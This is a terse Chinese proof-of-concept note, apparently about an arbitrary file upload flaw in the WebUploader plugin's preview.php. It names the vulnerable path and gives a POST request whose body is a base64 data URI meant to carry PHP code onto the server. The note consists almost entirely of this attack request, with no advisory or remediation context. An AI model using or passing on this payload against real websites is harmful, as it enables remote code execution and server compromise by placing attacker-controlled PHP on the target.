漏洞文件

Public\Plugins\webuploader\server\preview.php

poc

1
2
3
Post /Public/Plugins/webuploader/server/preview.php

data:image/php;base64,base64encode(phpcode);